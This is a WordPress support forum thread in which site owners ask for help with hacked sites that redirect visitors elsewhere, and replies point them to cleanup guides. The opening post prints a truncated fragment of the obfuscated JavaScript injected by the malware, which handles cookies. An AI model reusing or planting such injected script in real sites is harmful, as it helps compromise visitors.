Malware Attack On WordPress site creating Redirect Issue

  • Resolved MA-2016

    (@ma123456)


    5 years, 8 months ago

    My website got hacked and redirecting it to other sites.I want to clean the malicious code from wordpress and theme files which are redirecting the visitors to other sites.I already added new default code for index.php in my .htaccess file but it still redirects me to other sites.I want to know what are those files which are creating this redirection and garbage value of var_Oxcdaa= .I will appreciate it if someone guide me through this malware attack.

    When i try to access wp-admin i get this garbage value

    var _0xcdaa=[“”,”\x67\x65\x74\x54\x69\x6D\x65″,”\x73\x65\x74\x54\x69\x6D\x65″,”\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x63\x6F\x6F\x6B\x69\x65″,”\x3D”,”\x3B\x20\x70\x61\x74\x68\x3D\x2F”,”\x3B”,”\x73\x70\x6C\x69\x74″,”\x6C\x65\x6E\x67\x74\x68″,”\x73\x75\x62\x73\x74\x72\x69\x6E\x67″,”\x63\x68\x61\x72\x41\x74″,”\x20″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x3D\x3B\x20\x4D\x61\x78\x2D\x41\x67\x65\x3D\x2D\x39\x39\x39\x39\x39\x39\x39\x39\x3B”];function gjhwe4234(_0x7f0ex2,_0x7f0ex3,_0x7f0ex4){var _0x7f0ex5=_0xcdaa[0];if(_0x7f0ex4){var _0x7f0ex6= new Date();_0x7f0ex6[_0xcdaa[2]](_0x7f0ex6_0xcdaa[1]+ (_0x7f0ex4* 8* 60* 60* 1000));_0x7f0ex5= _0xcdaa[3]+ _0x7f0ex6_0xcdaa[4]};document[_0xcdaa[5]]= _0x7f0ex2+ _0xcdaa[6]+ (_0x7f0ex3|| _0xcdaa[0])+ _0x7f0ex5+ _0xcdaa[7]}function asdasq3hgvb(_0x7f0ex2){var _0x7f0ex8=_0x7f0ex2+ _0xcdaa[6];var _0x7f0ex9=document[_0xcdaa[5]]_0xcdaa[9];for(var _0x7f0exa=0;_0x7f0exa< _0x7f0ex9[_0xcdaa[10]];_0x7f0exa++){var _0x7f0exb=_0x7f0ex9[_0x7f0exa];while(_0x7f0exb_0xcdaa[12]== _0xcdaa[13]){_0x7f0exb= _0x7f0exb[_0xcdaa[11]]

    The page I need help with: [log in to see the link]

Viewing 15 replies - 1 through 15 (of 15 total)

  • Hello,

    Carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are a couple.

    Thread Starter MA-2016

    (@ma123456)

    @kartiks16

    Thankyou for your reply.I already know these steps and have technical background in web development but the issue is i am still unable to find that code which is creating this redirection on my domain and showing garbage value when i try to access wp-admin.

    Can you tell me what are possible locations in files which is showing this garbage value on wp-admin.

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Hmm if I remember the guides, by the time you’re advised to check each file, you should be looking for a backdoor and not the symptom – as the symptom would have already been removed by the steps to mitigate the hack (such as restoring from backup/ reinstalling wordpress/ etc.).

    Go to phpmyadmin & replace the site url with your website url. You will get this option under wp_options.

    Thread Starter MA-2016

    (@ma123456)

    @anewzon

    Thanks for the reply.Already fixed the issue.

    • This reply was modified 5 years, 8 months ago by MA-2016.

    Hi, can you help me please ? I’ve got the same problem

    @wooly66

    Go to your phpmyadmin, select your database and then select table wp_options. Change value, option_value and home with your website url.

    • This reply was modified 5 years, 7 months ago by prameko.

    Can you help me? When I open my site https://www.globuscentar.com it is redirecting me to some sites and asking am I human or robot.

    @globuscentar

    Hello,
    i have the same problem.
    Did you found any solution for that?

    Malware scanners shows clean my site, but there is surely a malware infection that redirects my page to this recapthca page “greenrelaxfollow[dot]com”…

    Thanks!

    darraghafoster

    (@darraghafoster)

    My website has been hacked. On my iphone when I search for the site it redirects. I am running Quttera right now, and have done everything I can think of. Adaranth > top.beforwardplay.com to come other redirect. Help, please.

    Hi Guys,

    When I open my site https://hindichoice.in, its redirected to somewhere else.

    I am not able to detect the issue, please help.

    Thank you

    This will happen if you use nulled free and virus affected WordPress theme or plugin. Here is the complete guide and instructions to fix this problem.
    https://www.wikilogy.com/wordpress-wp-vcd-php-wp-tmp-php-wp-feed-php-removal/

    Hi All,
    I have solved this issue in 6 sites of my Client.
    Let me know if oyu need my paid help.

    You can contact me on Skype: mayurkoshti1994

    Thanks.

    Hi,
    My website is https://popcorntelugu.com.
    When i open my site on desktop browser everything is working fine. But when u tried to use mobile browser it is redirecting to some un known links. Can anybody help me to know what might be the issue?
    Thanks in advance

    Hi @popcorntelugu , I have already added solution in my previous reply of this topic. And it works 100%. I hope this will work> wp-vcd malware removal process

    • This reply was modified 3 years, 11 months ago by Azad hossen.
Viewing 15 replies - 1 through 15 (of 15 total)
  • The topic ‘Malware Attack On WordPress site creating Redirect Issue’ is closed to new replies.